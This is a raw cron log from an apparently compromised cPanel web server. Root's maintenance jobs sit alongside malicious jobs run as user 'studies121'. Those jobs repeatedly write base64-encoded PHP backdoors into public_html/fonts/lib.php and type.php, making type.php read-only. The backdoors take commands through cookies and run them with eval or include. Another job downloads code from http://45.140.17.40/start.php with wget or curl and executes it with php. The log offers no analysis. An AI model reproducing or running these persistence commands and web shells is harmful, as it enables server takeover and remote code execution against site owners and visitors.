Sep 12 15:23:01 ip-184-168-122-23 CROND[16636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:23:01 ip-184-168-122-23 CROND[16637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:24:01 ip-184-168-122-23 CROND[16714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:24:01 ip-184-168-122-23 CROND[16715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:24:01 ip-184-168-122-23 CROND[16717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:24:01 ip-184-168-122-23 CROND[16718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:24:01 ip-184-168-122-23 CROND[16720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:25:01 ip-184-168-122-23 CROND[16812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:25:01 ip-184-168-122-23 CROND[16811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:25:01 ip-184-168-122-23 CROND[16816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:25:01 ip-184-168-122-23 CROND[16817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:25:01 ip-184-168-122-23 CROND[16818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:25:01 ip-184-168-122-23 CROND[16819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:26:01 ip-184-168-122-23 CROND[16902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:26:01 ip-184-168-122-23 CROND[16903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:26:01 ip-184-168-122-23 CROND[16905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:26:01 ip-184-168-122-23 CROND[16904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:26:01 ip-184-168-122-23 CROND[16909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:27:01 ip-184-168-122-23 CROND[16997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:27:01 ip-184-168-122-23 CROND[16999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:27:01 ip-184-168-122-23 CROND[17000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:27:01 ip-184-168-122-23 CROND[17002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:28:01 ip-184-168-122-23 CROND[17086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:28:01 ip-184-168-122-23 CROND[17088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:28:01 ip-184-168-122-23 CROND[17089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:28:01 ip-184-168-122-23 CROND[17091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:28:01 ip-184-168-122-23 CROND[17090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:29:01 ip-184-168-122-23 CROND[17255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:29:01 ip-184-168-122-23 CROND[17258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:29:01 ip-184-168-122-23 CROND[17257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:29:01 ip-184-168-122-23 CROND[17260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:30:01 ip-184-168-122-23 CROND[17347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:30:01 ip-184-168-122-23 CROND[17350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:30:01 ip-184-168-122-23 CROND[17351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:30:01 ip-184-168-122-23 CROND[17353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:30:01 ip-184-168-122-23 CROND[17354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:30:01 ip-184-168-122-23 CROND[17356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:30:01 ip-184-168-122-23 CROND[17360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:30:01 ip-184-168-122-23 CROND[17359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:31:01 ip-184-168-122-23 CROND[17475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:31:01 ip-184-168-122-23 CROND[17477]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 15:31:01 ip-184-168-122-23 CROND[17478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:31:01 ip-184-168-122-23 CROND[17481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:31:01 ip-184-168-122-23 CROND[17480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:32:01 ip-184-168-122-23 CROND[17567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:32:01 ip-184-168-122-23 CROND[17568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:32:01 ip-184-168-122-23 CROND[17571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:32:01 ip-184-168-122-23 CROND[17570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:32:01 ip-184-168-122-23 CROND[17572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:33:01 ip-184-168-122-23 CROND[17665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:33:01 ip-184-168-122-23 CROND[17666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:33:01 ip-184-168-122-23 CROND[17667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:33:01 ip-184-168-122-23 CROND[17668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:34:01 ip-184-168-122-23 CROND[17830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:34:01 ip-184-168-122-23 CROND[17832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:34:01 ip-184-168-122-23 CROND[17835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:34:01 ip-184-168-122-23 CROND[17834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:34:01 ip-184-168-122-23 CROND[17833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:35:01 ip-184-168-122-23 CROND[17933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:35:01 ip-184-168-122-23 CROND[17935]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 15:35:01 ip-184-168-122-23 CROND[17940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:35:01 ip-184-168-122-23 CROND[17939]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
